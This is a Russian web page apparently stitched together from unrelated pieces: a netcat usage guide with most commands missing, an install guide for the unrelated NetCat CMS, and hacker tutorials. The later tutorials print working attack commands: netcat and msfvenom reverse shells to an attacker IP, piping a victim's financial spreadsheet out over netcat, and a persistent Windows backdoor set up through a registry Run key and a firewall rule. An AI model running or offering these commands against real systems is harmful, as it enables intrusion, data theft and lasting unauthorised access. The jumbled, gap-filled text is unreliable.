Как установить netcat на windows

Обновлено: 04.07.2024

Netcat является кроссплатформенным и доступен для Linux, macOS, Windows и BSD. Вы можете использовать Netcat для отладки и мониторинга сетевых подключений, сканирования открытых портов, передачи данных в качестве прокси-сервера и многого другого. Пакет Netcat предустановлен в MacOS и популярных дистрибутивах Linux, таких как Ubuntu.


Синтаксис Netcat

Самый основной синтаксис утилиты Netcat имеет следующий вид:

В Ubuntu вы можете использовать либо netcat или nc . Обе они являются символическими ссылками на версию Netcat для openBSD.

По умолчанию Netcat пытается установить TCP-соединение с указанным хостом и портом. Если вы хотите установить UDP-соединение, используйте -u опцию:

Сканирование портов

Сканирование портов является одним из наиболее распространенных способов использования Netcat. Вы можете сканировать один порт или диапазон портов.

Например, для поиска открытых портов в диапазоне 20-80 вы должны использовать следующую команду:


-z - Опция указывает nc на сканирование только для открытых портов, без отправки каких - либо данных для них и -v возможность предоставить более подробную информацию.

Вывод будет выглядеть примерно так:


Если вы хотите распечатать только строки с открытыми портами, вы можете отфильтровать результаты с помощью команды grep .


Вы также можете использовать Netcat для поиска серверного программного обеспечения и его версии. Например, если вы отправляете команду «EXIT» на сервер по стандартному SSH-порту 22 :


Вывод будет выглядеть примерно так:


Для сканирования портов UDP просто добавьте -u параметр в команду, как показано ниже:


В большинстве случаев Nmap лучше, чем Netcat, для сканирования сложных портов.

Отправка файлов через Netcat

Netcat можно использовать для передачи данных с одного хоста на другой, создав базовую модель клиент / сервер.

Это работает, настроив Netcat на прослушивание определенного порта (используя -l опцию) на принимающем хосте, а затем установив обычное TCP-соединение с другим хостом и отправив файл через него.

На приеме запустите следующую команду, которая откроет порт 5555 для входящего соединения и перенаправит вывод в файл:


С узла-отправителя подключитесь к узлу-получателю и отправьте файл:


Для передачи каталога вы можете использовать tar для архивирования каталога на исходном хосте и для извлечения архива на конечном хосте.


На отправляющем хосте упакуйте каталог и отправьте данные, подключившись к nc процессу прослушивания на принимающем хосте:


Вы можете наблюдать за прогрессом передачи на обоих концах. После завершения введите, CTRL+C чтобы закрыть соединение.

Создание простого сервера чата

Процедура создания онлайн-чата между двумя или более хостами такая же, как и при передаче файлов.

На первом хосте запустите процесс Netcat для прослушивания порта 5555:


Со второго хоста выполните следующую команду для подключения к порту прослушивания:

Чтобы закрыть соединение, введите CTRL+C .

Например, чтобы получить справочную страницу Netcat с веб-сайта OpenBSD, введите:

Вывод

Из этого руководства вы узнали, как использовать утилиту Netcat для установки и тестирования соединений TCP и UDP.

Для получения дополнительной информации посетите справочную страницу Netcat и прочитайте обо всех других мощных параметрах команды Netcat.

В данной статье мы привели пошаговое описание установки NetCat.

1. Скачайте установочный файл install.php с официального сайта:

Обратите внимание: NetCat является платной системой, но вы также можете скачать пробную демо версию, по следующей ссылке:

Установка NetCat: метод 1 шаг 1-1

кликните на изображении для увеличения

Установка NetCat: метод 1 шаг 1-2

кликните на изображении для увеличения

Важно! Во время установки с помощью автоматического установщика, у вас могут возникнуть проблемы недостаточного количества оперативной памяти на хостинге.

При возникновении данной проблемы, можно воспользоваться Альтернативным методом установки (установка с помощью дистрибутива). Альтернативный метод установки будет описан ниже, после инструкции установки с помощью файла install.php.

2. Загрузите установочный файл install.php по FTP в корневой каталог вашего сайта.

3. Создайте базу данных MySQL, сделать это можно через панель управления хостингом.

Установка NetCat: метод 1 шаг 4

кликните на изображении для увеличения

5. Укажите данные доступа к базе данных.

Установка NetCat: метод 1 шаг 5

кликните на изображении для увеличения

6. Выберите нужную версию.

Установка NetCat: метод 1 шаг 6

кликните на изображении для увеличения

7. Выберите вариант установки и задайте параметры администратора.

Установка NetCat: метод 1 шаг 7

кликните на изображении для увеличения

Альтернативный метод установки:

1. Загрузите файлы дистрибутива на хостинг, в корневую директорию сайта.

netcat

Netcat хорошо известен в кругах хакеров, но практически неизвестен за их пределами, хотя настолько мощный и полезный, что многие относятся к нему как к "швейцарскому армейскому ножу хакерских утилит".

Рассмотрим возможности этого простого инструмента и как начинающий хакер может его использовать.

Netcat, как и многие хакерские утилиты, был создан как инструмент анализа сети. Разработанный специалистом, известным лишь как "Hobbit", отдавший этот инструмент для ИТ -сообщества без компенсации, но получил десятки наград. Спасибо, Hobbit!

Таким образом, Вы можете использовать его, чтобы открыть TCP и UDP соединения между двумя компьютерами через любой порт, который душа пожелает. Он также может быть использован как инструмент сканирования портов, подобно nmap. Кроме того, он может быть использован для перенаправления портов, прокси, простого веб - сервера, и чтобы оставить открытым бэкдор для хакера.

Давайте с помощью системы BackTrack посмотрим на некоторые из этих возможностей.

После того, как мы запустили нашу систему BackTrack и открыли терминал, можем использовать Netcat с любого каталога, так как он находится в нашем каталоге bin, который есть в нашей переменной PATH по умолчанию. Итак, давайте введем:

netcat-1

Как Вы можете видеть, основной синтаксис Netcat заключается в следующем.

Шаг 2: Используйте Netcat для подключения к удаленной системе

Давайте используем Netcat для подключения к удаленной системе. В нашем случае, постараемся подключиться к веб-серверу через порт 80. Набираем:

netcat-2

Это дает нам соединения TCP, по умолчанию, к веб-серверу (порт 80) на 192.168.1.105. Теперь, все, что мы вводим, будет направлено непосредственно на веб-сервер, когда мы нажмем Enter.

Шаг 3: Используйте Netcat, чтобы захватить баннер с отпечатками пальцев ОС

Как только мы получили связь TCP с веб мы можем использовать Netcat, чтобы захватить баннер веб сервера для идентификации, какое программное обеспечение работает на веб-сервере жертвы.

Помните, что, прежде чем атаковать любую систему, мы должны узнать как можно больше о жертве. Netcat может помочь нам с этой задачей, захватывая баннеры, которые веб-серверы обслуживают для новых подключений.

Теперь, когда у нас есть связь, мы можем захватить баннер с веб - сервера с помощью команды:

Будьте внимательными и скопируйте в точности, как ввел автор, с косой чертой и пробелами.

netcat-3

Нажмите Enter несколько раз, и веб -сервер ответит своим баннером, сообщив нам, какое его программное обеспечение запущено. В нашем случае, мы можем видеть, что веб - сервер работает под управлением Microsoft IIS 6.0.

После того, как будет связь, мы можем захватить баннер веба, снова набрав:

netcat-4

netcat-5

Идите дальше и попробуйте его на других веб-сайтах и выясните, какие серверы они используют.

Шаг 4: Используйте Netcat для прослушивания подключений

Теперь давайте используем netcat, чтобы создать слушателя на удаленной системе. Предположим, что у нас есть Windows Server, на котором мы установили netcat. Теперь мы можем ввести следующее, чтобы открыть netcat слушателя на порту 6996 (это может быть любой порт) в этой системе:

netcat-6

Так был создан "слушатель", который может подключиться к нашему досугу. Обратите внимание, что на системах Windows, мы можем запустить эту же команду с верхним регистром L и это создаст постоянного слушателя, который откроется, даже если система будет перезагружена.

Теперь давайте создадим бэкдор на зараженной системе, чтобы мы могли вернуться в любое время. Команда будет незначительно отличаться в зависимости от того, какую систему, Linux или Windows, атакуем.

Это откроет слушателя на системе, будет "трубой" команды оболочки или оболочки Linux Bash к подключенной системе. Теперь на нашей атакующей системе мы вводим:

netcat-7

Как Вы можете видеть, командную строку Windows провел по трубопроводу через наше подключение netcat непосредственно к нашей атакующей системе! Мы имеем этот ящик!

Шаг 6: Скопируйте файлы (exfiltrate) из мишени

Netcat также может быть использован для фильтрации файлов и данных от жертвы. Давайте представим, что есть данные на системе жертвы, которые мы хотим. Возможно, финансовые данные или данные, хранящиеся в базе данных. Мы можем использовать стелс-подключение для медленного копирования этих данных на нашу атакующую систему. В приведенном примере будем фильтровать файл с именем financialprojections.xls, вероятно, Excel файл финансовых прогнозов.

Эта команда говорит: отобразить файл financialprojections.xls, а затем передать его по каналу (|) в netcat (nc) с IP-адресом 192.168.1.104 через порт 6996.

netcat-8

netcat-9

Мы можем видеть на скриншоте ниже, что файл был скопирован через наше соединение netcat через порт 6996 на нашу атакующую машину!

netcat-10

Это лишь небольшой пример того, что может сделать эта мощная маленькая программа. Объединив ее с некоторыми основными навыками создания сценариев, можете только представить себе, какие невероятные вещи сможете делать!

«Будь то сканирование портов или получение обратной оболочки, с Netcat возможно все». Сегодня в этой статье мы рассмотрим одну из наиболее часто используемых сетевых утилит и узнаем, как другие фреймворки усиливают Netcat для создания сеанса.

Netcat, технически используемый как «nc» — это сетевая утилита, которая использует соединения TCP и UDP для чтения и записи в сети. Его могут использовать как злоумышленники, так и аудиторы безопасности. Учитывая сценарий атаки, этот многофункциональный инструмент может управляться сценариями, что делает его довольно надежным, и если мы обсудим раздел безопасности, он помогает нам отлаживать и исследовать сеть.

Почему netcat настолько надежен, что может делать все, будь то сканирование портов, захват баннеров, передача файла или даже создание обратного соединения?

Давайте рассмотрим основные функции netcat и ответим на этот вопрос.

Итак, до сих пор вы могли быть в курсе всех функций Netcat, что делает его уникальным и простым.

Давайте попробуем копнуть глубже и выяснить, что еще можно сделать с помощью этого замечательного инструмента.

Базовые команды Netcat

«Help» или «h» , этот флаг выпадает из всех возможных вариантов, которые инструмент может сделать для нас. Чтобы начать с netcat, мы будем использовать самую простую команду помощи, а именно:

Netcat для Пентестера

Сканирование портов

Netcat можно использовать как сканер портов, хотя он не предназначен для работы в этом качестве. Чтобы сделать его работоспособным сканером, нам нужно установить флаг «-z», который сообщает netcat, о возможности сканировать демон листинга без отправки каких-либо данных. Это позволяет понять, какой тип службы работает на этом конкретном порту. Таким образом, netcat может выполнять сканирование TCP и UDP, давайте посмотрим, как это сделать:

TCP Сканирование

nc -v -n -z 192.168.1.105 21-100

  • [-v]:указывает подробный режим
  • [ -n]:указывает IP-адреса, состоящие только из чисел.
  • [-z]:указывает нулевой режим ввода / вывода [используется для сканирования]

Чтобы завершить это сканирование, нам нужно указать диапазон портов. На изображении ниже вы можете видеть, что я упомянул диапазон портов от 21 до 100, при котором выполняющиеся службы будут выгружаться на целевой машине.

Netcat для Пентестера

UDP сканирование

Мы даже можем сканировать порты UDP так же, как сканировали порты TCP. Здесь мы будем использовать флаг «–u» , который будет активировать режим UDP.

nc -vzu 192.168.1.105 161

В этом сценарии мы упомянули номер порта, а не диапазон. На изображении ниже вы можете видеть, что мы захватили работающую службу «snmp».

Netcat для Пентестера

В чате

Netcat также можно использовать для общения двух пользователей. Но перед этим нам нужно установить соединение. Чтобы настроить все это, мы будем использовать два устройства: одно будет играть роль инициатора, а другое — слушателя. Как только это соединение будет установлено, связь может быть осуществлена ​​с обоих концов.

Давайте посмотрим на этот сценарий, в котором два пользователя с разными операционными системами общаются друг с другом через установленное соединение Netcat.

Первоначально пользователю root kali необходимо настроить свой «слушатель» netcat через определенный порт, чтобы создать сетевое соединение. Для этого выполните следующую команду:

Давайте посмотрим на этот сценарий, в котором два пользователя с разными операционными системами общаются друг с другом через установленное соединение Netcat.

Первоначально пользователю root kali необходимо настроить свой “listener” netcat через определенный порт, чтобы создать сетевое соединение. Для этого выполните следующую команду:

nc -lvp 1234

[l]: Listen Mode

[v]: Verbose Mode

[p]: Local Port

Пришло время настроить инициатор, мы сделаем это от пользователя root Ubuntu, просто предоставив IP-адрес системы, в которой мы запустили листенер, а затем номер порта.

nc 192.168.1.109 1234

Netcat для Пентестера

На изображении ниже вы можете видеть, что соединение было настроено, и теперь обе машины могут обмениваться данными друг с другом.

Netcat для Пентестера

Захват баннера

Выполните следующую команду, чтобы получить целевые баннеры ftp и ssh:

nc 192.168.1.105 21

nc 192.168.1.105 22

Netcat для Пентестера

Передача файлов

Netcat предлагает нам возможность передавать файлы с одного устройства на другое по сети.

Давайте рассмотрим сценарий, в котором пользователь kali освобождается от необходимости передавать свои файлы пользователю на машине Ubuntu.

Из приведенного ниже изображения пользователь на машине kali устанавливает прослушиватель на порт номер 5555 и делится файлом file.txt с помощью параметра «<».

nc -lvp 5555 < file.txt

Netcat для Пентестера

Теперь пользователь, сидящий на сервере Ubuntu, загрузит этот файл, выполнив следующую команду. На изображении ниже вы можете видеть, что пользователь Ubuntu успешно получил файл file.txt из 192.168.1.109, который представляет собой не что иное, как IP-адрес пользователя kali.

Netcat для Пентестера

Linux Reverse Shell

Как обсуждалось ранее, netcat может выполнять все, что угодно, поэтому теперь мы попытаемся использовать целевую машину с помощью «msfvenom» для создания полезной нагрузки и настроим listener netcat для захвата сеанса.

Давайте попробуем создать полезную нагрузку с помощью следующей команды:

msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.109 lport=6666 R

Флаг «R» используется для генерации необработанной полезной нагрузки, которая будет отображаться на нашем экране.

Netcat для Пентестера

На изображении выше вы можете видеть, что наша полезная нагрузка готова, теперь пришло время запустить ее через сервер нашей жертвы.

Откройте машину Ubuntu и введите эту полезную нагрузку в терминал. Прежде чем запускать его, вернитесь к машине злоумышленника (kali Linux) и настройте там listener netcat, используя тот же номер порта, который вы использовали при генерации полезной нагрузки.

Netcat для Пентестера

На изображении ниже вы можете видеть, что, как только жертва запустит полезную нагрузку, мы получим сеанс.

Netcat для Пентестера

Часто бывает, что безопасность становится очень эффективной, и мы не можем захватить сеанс с помощью этого метода, но есть другой способ получить reverse shell.

Перед этим установите listener netcat на порт 443:

Когда listener загрузится, просто выполните следующие команды на целевой машине:

Это поможет вам обойти защиту и продолжить сеанс netcat.


На изображении ниже вы можете видеть, что мы успешно захватили оболочку жертвы.


Рандомизированный порт

Есть вероятность, что мы не можем выбрать собственный порт для настройки прослушивателя или установления соединения netcat. Ну, у netcat есть специальный флаг «–r» , который предоставит нам случайный локальный порт.

nc -lv –r

На изображении ниже вы можете видеть, что наш листенер запущен на 38931.


Есть вероятность, что мы не сможем выбрать собственный порт для настройки листенера или установления соединения netcat. Ну, у netcat есть специальный флаг «–r» , который предоставит нам случайный локальный порт.

nc -lv –r

На изображении ниже вы можете видеть, что наш листенер запущен на 38931.


Просто выполните следующую команду, чтобы управлять целевым сервером и проверять, что мы захватили.

printf "GET / HTTP/1.0\r\n\r\n" | nc 192.168.1.105 80


Обратное соединение Windows

Бэкдор системы приветствуют нас всякий раз, когда нас отбрасывает назад.

Мы попытаемся создать подобный бэкдор на целевой машине с Windows, который позволит нам войти в него в любое время, когда мы вернемся.

Давайте сначала настроим листенер на нашей машине kali:

nc -lvp 4444

Теперь выполните следующую команду в командной строке Windows жертвы, чтобы создать бэкдор.

nc.exe 192.168.1.109 4444 -e cmd.exe


Пора вернуться к машине нашего злоумышленника. На изображении ниже вы можете видеть, что мы находимся в командной оболочке жертвы.


Сохранение Windows 10

Настойчивость играет важную роль в жизни злоумышленника. Итак, давайте попробуем создать постоянный бэкдор с помощью netcat и Metasploit framework на хост-машине, которую мы взломали.

На изображении ниже вы можете увидеть, что я получил сеанс meterpreter на машине с Windows 10.

Теперь загрузите файл netcat.exe в system32 на компьютере жертвы, используя следующую команду:

upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32


Теперь настройте netcat на листенер на любом случайном порту, например, 4445, откройте порт при запуске и установите соединение.

Используйте следующую команду:

reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v netcat -d 'C:\windows\system32\nc.exe -Ldp 4445 -e cmd.exe'


При успешном подключении netcat мы получим reverse_shell компьютера жертвы.

Теперь пришло время добавить новое правило к брандмауэру с именем «netcat», в котором входящее соединение будет разрешать порт 4445 с помощью интерактивной командной строки cmd, запускающей команду с именем netsh.

Введите следующую команду:

netsh advfirewall firewall add rule name='netcat' dir=in action=allow protocol=Tcp localport=4445

Давайте проверим рабочий режим и состояние порта, выполнив следующую команду:

netsh firewall show portopening


Итак, со всем этим мы закончили. Теперь, когда жертва снова перезагружает систему, мы получим оболочку netcat. Выполните следующую команду, чтобы подключить наш бэкдор netcat через порт 4445.

nc -nv 192.168.1.105 4445

Мы успешно поддерживаем постоянный бэкдор, теперь, когда жертва загружается, у нас всегда будет его сеанс. Чтобы узнать больше о постоянстве Windows, щелкните здесь.


Полезная нагрузка msfvenom с Netcat

До сих пор мы узнали о Netcat все, от базовых до продвинутых. Итак, давайте узнаем, как мы можем связаться с жертвой через нашу Netcat_shell, используя полезную нагрузку msfvenom.

Запустите терминал и выполните следующую команду, чтобы сгенерировать полезную нагрузку .exe.

msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.104 lport=3333 –f exe > shell.exe


Теперь включите листенер Netcat через порт 3333.

Поделитесь этой сгенерированной полезной нагрузкой с жертвой, как только она откроет ее, вы получите обратное соединение.


Заключение

Вы можете использовать Netcat для открытия TCP- и UDP-соединений между двумя компьютерами на любом порту. Его также можно использовать в качестве инструмента для сканирования портов, такого как nmap. Кроме того, его можно использовать для переадресации портов, прокси, простого веб-сервера и для того, чтобы оставить бэкдор открытым для хакера.

Читайте также: